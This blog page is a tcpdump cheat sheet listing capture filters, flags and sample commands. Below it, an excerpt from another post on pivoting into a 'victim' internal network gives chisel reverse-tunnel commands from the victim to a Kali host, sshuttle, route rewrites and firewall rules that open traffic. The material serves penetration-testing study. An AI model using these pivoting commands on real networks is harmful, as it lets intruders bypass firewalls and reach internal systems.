Skip to main content

TCPDUMP Cheatsheet

 


TCPDUMP Usage

tcpdump is by default installed on most of the linux machine, you can run it by "sudo tcpdump"

• Protocol: ether, ip, ip6, arp, rarp, tcp, udp: protocol type
• Type:
host [host]: Only give me packets to or from that host
net [network]: Only packets for a given network
port [portnum]: Only packets for that port
portrange [start-end]: Only packets in that range of ports

• Direction:
src: Only give me packets from that host or port
dst : Only give me packets to that host

• Use "and" or "or" to combine these together
• Use "not" to negate

-n Host IP addresses and port numbers instead of names
-i interface Sniff on a particular interface (-D lists interfaces)
-v Be verbose (show TTL, IP ID, Total Length, IP options, and so on)
-w Dump packets to a file (use -r to read file later)
-x Print hex
-X Print hex and ASCII
-A Print ASCII
#View the traffic from all interfaces on host 10.10.10.10 or port 443
sudo tcpdump -s 0 -i any host 10.10.10.10 or port 443

#Read packets while saving the data

sudo tcpdump -w - | tee file.pcap | tcpdump -r -

#Show TCP packets against target 10.10.10.10 in ASCII and Hex
tcpdump -nnX tcp and dst 10.10.10.10

#Show all UDP packets from 10.10.10.10
tcpdump -nn udp and src 10.10.10.10

#Show all TCP port 80 packets going to or from host 10.10.10.10
tcpdump -nn tcp and port 80 and host 10.10.10.10 tcpdump -na -i nurx0 -G 20 -W 1 -w cap.pcap #Capture Everything Except a port or host tcpdump -i any port not 22 and host 10.10.10.10 -vv

 

 

 

Comments

Popular posts from this blog

Pivoting into an internal network behind firewall

    Accessing a Victim network from Windows box which is pivoted to Kali #On Kali sshuttle --listen 0.0.0.0 -r user@10.10.10.10 192.168.1.0/24 or ./chisel server --port 9001 -reverse #On Victim ./chisel.exe client 10.10.10.1:9001 R:0.0.0.0:1080:socks .\chisel.exe client 10.10.10.1:9001 R:8080:127.0.0.1:8080 R:8888:127.0.0.1:8888 R:9090:127.0.0.1:9090 #On windows route print #delete default route route delete 0.0.0.0 #add a new route to kali- setting kali ip as gateway; kali_ip=which is on the same subnet as the windows box route add 0.0.0.0 mask 0.0.0.0 KALI_IP #Now you should be able to access all the sites which are accessible on kali from windows box. #If the above doesnt work #asuming Kali and windows are on Eht0 #add a firewall rule to allow Kali ip traffic netsh advfirewall firewall add rule name="Allow VPN Traffic" dir=in action=allow protocol=any remoteip=KALI_ETH0_IP #on Kali - Allow tun0 traffic to forward on iptables sudo iptables -P FORWARD ACCEPT ...